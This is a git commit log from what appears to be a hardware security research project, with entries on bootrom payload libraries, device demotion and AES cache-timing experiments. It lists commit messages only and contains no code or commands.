Gregor Haas	0a00de38a5	whoops	2020-02-28 16:52:13 -05:00
Gregor Haas	77641d45be	fix file modes	2020-02-28 16:49:17 -05:00
Gregor Haas	55c1f08046	clean up	2020-02-28 16:30:01 -05:00
Gregor Haas	662c228b7e	add a stripping tool and a random key experiment	2020-02-28 16:28:13 -05:00
Gregor Haas	0320e5cea7	fix key	2020-02-27 18:42:26 -05:00
Gregor Haas	938cbe044b	fix 2gb file limit	2020-02-27 18:34:27 -05:00
Gregor Haas	a9550de75a	Cleaned up headers	2020-02-27 16:17:11 -05:00
Gregor Haas	aff4be3a65	Make crypto lib naming more consistent	2020-02-27 16:17:11 -05:00
Gregor Haas	8cca9a2930	Correctly link shared crypto_dev library	2020-02-27 16:17:11 -05:00
Gregor Haas	a5d1121675	lots of changes, some project restructuring and a new experiment	2020-02-27 16:17:11 -05:00
Gregor Haas	1bd577596b	Greatly improve experiments	2020-02-27 10:23:21 -05:00
Gregor Haas	bf6153062d	change key for a new round of experiments	2020-02-25 20:18:09 -05:00
Gregor Haas	d0af1d9819	fix spacing	2020-02-25 09:40:14 -05:00
Gregor Haas	6462401fee	wait for longer between queries	2020-02-25 09:13:58 -05:00
Gregor Haas	3334ccd17e	more readable like this	2020-02-24 16:47:08 -05:00
Gregor Haas	3adc4c2e72	report actual count	2020-02-24 16:18:10 -05:00
Gregor Haas	df40cc6970	some bugfixes and changes for a longer term experiment	2020-02-24 16:17:01 -05:00
Gregor Haas	6ec02145b3	implemented bernstein-based aes timing experiment	2020-02-24 15:03:02 -05:00
Gregor Haas	14ffb6b7c3	updated payloads to use new bootrom types	2020-02-24 15:02:41 -05:00
Gregor Haas	a66ff906bd	added to the bootrom libraries	2020-02-24 15:02:05 -05:00
Gregor Haas	db97653fc2	modify AES experiment to replicate bernstein	2020-02-23 20:25:51 -05:00
Gregor Haas	94fe326afb	add function to get ticks instead of time	2020-02-23 20:25:20 -05:00
Gregor Haas	a5995cd4aa	add some experiments with the cache	2020-02-23 20:24:51 -05:00
Gregor Haas	eb225122e5	explicitly check if these files open	2020-02-19 17:14:01 -05:00
Gregor Haas	29b4c63ffd	fixed some unknown values which are actually known	2020-02-19 16:48:01 -05:00
Gregor Haas	d8a22d5e34	updates for testing	2020-02-19 14:29:45 -05:00
ghaas	60dd861370	Merge pull request #1 from ghaas/ardflag Ardflag	2020-02-17 15:48:34 -05:00
Gregor Haas	d04b884487	Copy over some adjustments from other branch ... overwrite	2020-02-17 15:37:57 -05:00
Gregor Haas	34703b958e	Undo arduino incorporation (dumb)	2020-02-12 14:40:36 -05:00
Gregor Haas	ab93d72633	Finally incorporated arduino code into main program (somewhat)	2020-02-11 21:27:14 -05:00
Gregor Haas	059461ccbd	fixed an async payload bug and implemented an async floppysleep (works!)	2020-02-11 20:52:23 -05:00
Gregor Haas	3e64bd8bab	added a function to fix the heap	2020-02-11 20:51:50 -05:00
Gregor Haas	a6ddec511a	improved generic payload entry point	2020-02-11 20:51:04 -05:00
Gregor Haas	33f3ab9a0d	fix segfault	2020-02-11 15:41:31 -05:00
Gregor Haas	823c914e84	better data housekeeping since we're using the on-device heap now... don't want to leave a mess	2020-02-11 15:34:47 -05:00
Gregor Haas	8b25a00bd4	synchronous payloads seem to work well	2020-02-11 15:10:35 -05:00
Gregor Haas	d407c17c0f	implement basics of async execution (still need to test)	2020-02-11 14:38:53 -05:00
Gregor Haas	637fd548f5	Added a generic payload entry point to support async execution	2020-02-11 14:38:21 -05:00
Gregor Haas	80fd4f6b4c	Some restructuring for libbootrom	2020-02-11 14:37:32 -05:00
Gregor Haas	bd4c9b8196	heavily restructured libpayload, more integrated with c8_remote now	2020-02-11 09:56:37 -05:00
Gregor Haas	983ad0ad29	more device pointers	2020-02-10 19:42:25 -05:00
Gregor Haas	5143528433	add explicit type for device pointers	2020-02-10 19:39:35 -05:00
Gregor Haas	0e094be537	some changes, preparing for async	2020-02-10 19:02:30 -05:00
Gregor Haas	200865c8a6	Added demotion module	2020-02-10 14:07:53 -05:00
Gregor Haas	1423f51aef	Added test pongo module	2020-02-10 13:55:42 -05:00
Gregor Haas	5c8579c913	some fixes	2020-02-09 12:53:25 -05:00
Gregor Haas	cd3eb5edf0	Add dynamic allocation	2020-02-09 12:29:55 -05:00
Gregor Haas	79d3b72d15	Added demotion capability	2020-02-09 11:12:04 -05:00
Gregor Haas	e341d51bf9	payload changes	2020-02-09 11:11:42 -05:00
Gregor Haas	83ca059295	Measure time more accurately	2020-01-21 14:06:58 -05:00
Gregor Haas	c6fcb4aa66	Adjustments to finalize for experiment	2020-01-21 10:35:15 -05:00
Gregor Haas	54e64d982e	Actually explicitly check... don't want to sleep for a whole experiment	2020-01-21 10:28:32 -05:00
Gregor Haas	420e60cf7f	Fix eternal sleep in floppysleep	2020-01-21 10:27:50 -05:00
Gregor Haas	b1bf2daa2f	Add some more interesting payloads	2020-01-21 10:22:17 -05:00
Gregor Haas	92fc040298	Add support for assembly in payloads	2020-01-21 10:21:19 -05:00